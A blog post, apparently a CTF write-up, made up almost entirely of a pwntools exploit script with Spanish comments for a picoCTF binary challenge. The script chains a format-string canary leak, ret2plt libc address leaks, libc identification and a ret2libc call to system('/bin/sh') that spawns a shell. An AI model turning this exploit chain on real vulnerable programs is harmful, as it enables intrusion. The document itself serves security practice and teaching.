Title here
Summary here
August 1, 20254 minutes
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
b *0x080487ce
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote("jupiter.challenges.picoctf.org", 15815)
return r
def main():
r = conn()
# El programa espera un número que es la dirección de rand % 4096. Ese número no cambia, así que con filtrarlo una vez ya basta.
# 0x804871a <do_stuff+187> cmp eax, dword ptr [ebp - 0x214] 0xfffff571 - 0xfffff571 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
# >>> 0-2-4-8-128-512-2048
# -2702
# Desde gdb se puede comprobar que el número que se espera en el input es -2703
# num = "-2703".encode()
# Esto en local funciona, pero en remoto tuve que fuzzearlo, sabiendo que el número va de un rango de -4096 a 4096
# for i in range(-4096, 4097):
# r.sendlineafter('What number would you like to guess?', str(i).encode())
# output = r.recvline()
# output = r.recvline()
# if "Nope" not in output.decode():
# print(output)
# print(f"Number found: {i}")
num = "-3727".encode()
########
# Fuzzing del canary: el objetivo es filtrar varias direcciones y ver si alguna es igual a la dirección que da gdb con el comando canary, la cual es —valga la redundancia— el canary. Eso lo hice con un breakpoint: b *0x080487ce
#
# start = 0
# end = 1
# for x in range(10):
# payload = ""
# for i in range(start*20, end*20):
# payload += f"{i}%{i}$p "
# print(payload)
# r.sendlineafter('What number would you like to guess?', num)
# r.sendlineafter('Name?', payload)
# output = r.recvline()
# print(output)
# start += 1
# end += 1
########
canary_pos = 135
payload_canary = f"%{canary_pos}$p" # Con esto se va a filtrar el canary en cada ejecución
r.sendlineafter('What number would you like to guess?', num)
r.sendlineafter('Name?', payload_canary)
canary = int(r.recvline().strip(b' Congrats: ').strip(b'\n'), 16)
print(f"CANARY: {hex(canary)}")
offset = 512
# Lo siguiente es calcular cuántos bytes hay entre el canary y el EIP
# payload = flat({offset: [
# canary,
# b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab" # pwn cyclic 200
# ]})
# Abriendo gdb con el argumento GDB se puede ver cómo el EIP vale daaa
# *EIP 0x61616164 ('daaa')
# pwn cyclic -l daaa
# 12
# r.sendlineafter('What number would you like to guess?', num)
# r.sendlineafter('Name?', payload)
offset_canary_to_eip = 12
junk = "A" * 400
# Una vez se tiene el control del EIP, se puede probar un ret2syscall, pero no hay ningún gadget int 0x80. Se puede hacer un ret2libc, pero no se proporciona la libc, así que el reto será ir filtrando direcciones y usar webs como https://libc.rip/ para que indique, en base a esas direcciones, qué libc puede ser.
# LEAK PUTS
payload = flat({offset: [
canary,
b"A" * offset_canary_to_eip,
exe.plt['puts'], exe.symbols['win'], exe.got['puts']
]})
r.sendlineafter('What number would you like to guess?', num)
r.sendlineafter('Name?', payload)
output = r.recvline()
output = r.recvline()
puts = u32(r.recv(4))
print(f"PUTS: {hex(puts)}")
# LEAK PRINTF
payload = flat({offset: [
canary,
b"A" * offset_canary_to_eip,
exe.plt['puts'], exe.symbols['win'], exe.got['printf']
]})
r.sendlineafter('Name?', payload)
output = r.recvline()
output = r.recvline()
printf = u32(r.recv(4))
print(f"PRINTF: {hex(printf)}")
# LEAK GETS
payload = flat({offset: [
canary,
b"A" * offset_canary_to_eip,
exe.plt['puts'], exe.symbols['win'], exe.got['gets']
]})
r.sendlineafter('Name?', payload)
output = r.recvline()
output = r.recvline()
output = r.recv(4)
print(f"GETS: {hex(u32(output))}")
# libc.rip dice que puede ser libc6-i386_2.27-3ubuntu1.6_amd64 o libc6-i386_2.27-3ubuntu1.5_amd64, y en la propia web ya se proporcionan los offsets, así que no hace falta ni descargarla.
# BuildID 334e2a258b80a51857b0a542d9399aa2f93d4add
# MD5 ad0c541b7161662aea92ee042d8a4b70
# __libc_start_main_ret 0x18fa1
# dup2 0xe6210
# gets 0x66ce0
# printf 0x50d60
# puts 0x67560
# read 0xe5720
# str_bin_sh 0x17b9db
# system 0x3cf10
# write 0xe57f0
puts_offset = 0x67560
printf_offset = 0x50d60
libc_base = puts - puts_offset
print(f"PUTS: {hex(puts)} - {hex(puts_offset)} = {hex(puts - puts_offset)}")
print(f"PRINTF: {hex(printf)} - {hex(printf_offset)} = {hex(printf - printf_offset)}")
system = libc_base + 0x3cf10
binsh = libc_base + 0x17b9db
print(f"system: {hex(system)}")
print(f"/bin/sh: {hex(binsh)}")
# El último payload lo que hace es ejecutar system y le pasa como argumento /bin/sh (0xd3b0 es la dirección de retorno. Como da igual a dónde vaya una vez que ha terminado de ejecutar system, se puede poner cualquier cosa).
payload = flat({offset: [
canary,
b"A" * offset_canary_to_eip,
system, 0xd3b0, binsh
]})
r.sendlineafter('Name?', payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()